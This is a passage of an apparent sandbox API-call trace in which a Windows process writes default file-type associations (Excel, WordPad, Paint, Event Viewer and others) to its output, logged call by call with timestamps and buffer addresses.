	[0056.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Resmon.Config=%SystemRoot%\\system32\\perfmon /res /load \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Resmon.Config=%SystemRoot%\\system32\\perfmon /res /load \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 73
	[0056.754] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x48, lpOverlapped=0x0) returned 1
	[0056.755] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.755] GetFileType (hFile=0x5c) returned 0x3
	[0056.755] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="docxfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docxfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68
	[0056.755] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x43, lpOverlapped=0x0) returned 1
	[0056.755] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.755] GetFileType (hFile=0x5c) returned 0x3
	[0056.755] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="dqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 73
	[0056.755] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x48, lpOverlapped=0x0) returned 1
	[0056.757] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.757] GetFileType (hFile=0x5c) returned 0x3
	[0056.757] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="emffile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="emffile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 51
	[0056.757] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x32, lpOverlapped=0x0) returned 1
	[0056.757] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.757] GetFileType (hFile=0x5c) returned 0x3
	[0056.757] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="evtfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="evtfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 53
	[0056.757] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x34, lpOverlapped=0x0) returned 1
	[0056.758] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.758] GetFileType (hFile=0x5c) returned 0x3
	[0056.758] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="evtxfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="evtxfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 54
	[0056.758] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x35, lpOverlapped=0x0) returned 1
	[0056.758] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.758] GetFileType (hFile=0x5c) returned 0x3
	[0056.758] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Addin=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Addin=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 79
	[0056.758] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4e, lpOverlapped=0x0) returned 1
	[0056.758] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.758] GetFileType (hFile=0x5c) returned 0x3
	[0056.758] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.AddInMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.AddInMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 91
	[0056.758] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5a, lpOverlapped=0x0) returned 1
	[0056.758] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.758] GetFileType (hFile=0x5c) returned 0x3
	[0056.759] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Backup=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Backup=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 80
	[0056.759] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4f, lpOverlapped=0x0) returned 1
	[0056.759] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.759] GetFileType (hFile=0x5c) returned 0x3
	[0056.759] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Chart=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Chart=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77
	[0056.759] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4c, lpOverlapped=0x0) returned 1
	[0056.759] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.759] GetFileType (hFile=0x5c) returned 0x3
	[0056.759] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Chart.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Chart.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81
	[0056.759] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x50, lpOverlapped=0x0) returned 1
	[0056.759] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.759] GetFileType (hFile=0x5c) returned 0x3
	[0056.759] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.CSV=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.CSV=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77
	[0056.759] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4c, lpOverlapped=0x0) returned 1
	[0056.760] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.760] GetFileType (hFile=0x5c) returned 0x3
	[0056.760] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Macrosheet=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Macrosheet=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0056.760] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x53, lpOverlapped=0x0) returned 1
	[0056.760] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.760] GetFileType (hFile=0x5c) returned 0x3
	[0056.760] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.OpenDocumentSpreadsheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.OpenDocumentSpreadsheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 100
	[0056.760] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x63, lpOverlapped=0x0) returned 1
	[0056.760] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.760] GetFileType (hFile=0x5c) returned 0x3
	[0056.760] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Sheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Sheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 82
	[0056.760] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x51, lpOverlapped=0x0) returned 1
	[0056.761] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.761] GetFileType (hFile=0x5c) returned 0x3
	[0056.761] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Sheet.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Sheet.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81
	[0056.761] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x50, lpOverlapped=0x0) returned 1
	[0056.761] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.761] GetFileType (hFile=0x5c) returned 0x3
	[0056.761] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.SheetBinaryMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.SheetBinaryMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 100
	[0056.761] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x63, lpOverlapped=0x0) returned 1
	[0056.761] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.761] GetFileType (hFile=0x5c) returned 0x3
	[0056.761] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.SheetMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.SheetMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94
	[0056.761] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5d, lpOverlapped=0x0) returned 1
	[0056.761] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.761] GetFileType (hFile=0x5c) returned 0x3
	[0056.762] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.SLK=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.SLK=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77
	[0056.762] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4c, lpOverlapped=0x0) returned 1
	[0056.762] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.762] GetFileType (hFile=0x5c) returned 0x3
	[0056.762] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 82
	[0056.762] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x51, lpOverlapped=0x0) returned 1
	[0056.762] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.762] GetFileType (hFile=0x5c) returned 0x3
	[0056.762] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0056.762] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x53, lpOverlapped=0x0) returned 1
	[0056.762] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.762] GetFileType (hFile=0x5c) returned 0x3
	[0056.762] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.TemplateMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.TemplateMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94
	[0056.762] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5d, lpOverlapped=0x0) returned 1
	[0056.763] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.763] GetFileType (hFile=0x5c) returned 0x3
	[0056.763] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0056.763] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5b, lpOverlapped=0x0) returned 1
	[0056.763] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.763] GetFileType (hFile=0x5c) returned 0x3
	[0056.763] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0056.763] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x52, lpOverlapped=0x0) returned 1
	[0056.763] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.763] GetFileType (hFile=0x5c) returned 0x3
	[0056.763] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.XLL=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.XLL=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77
	[0056.763] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4c, lpOverlapped=0x0) returned 1
	[0056.764] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.764] GetFileType (hFile=0x5c) returned 0x3
	[0056.764] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excelhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excelhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 76
	[0056.764] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4b, lpOverlapped=0x0) returned 1
	[0056.764] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.764] GetFileType (hFile=0x5c) returned 0x3
	[0056.764] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excelhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excelhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 80
	[0056.764] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4f, lpOverlapped=0x0) returned 1
	[0056.764] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.764] GetFileType (hFile=0x5c) returned 0x3
	[0056.764] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="exefile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exefile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18
	[0056.764] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x11, lpOverlapped=0x0) returned 1
	[0056.764] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.764] GetFileType (hFile=0x5c) returned 0x3
	[0056.765] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Explorer.AssocProtocol.search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Explorer.AssocProtocol.search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 85
	[0056.765] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x54, lpOverlapped=0x0) returned 1
	[0056.765] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.765] GetFileType (hFile=0x5c) returned 0x3
	[0056.765] _get_osfhandle (_FileHandle=1) returned 0x5c
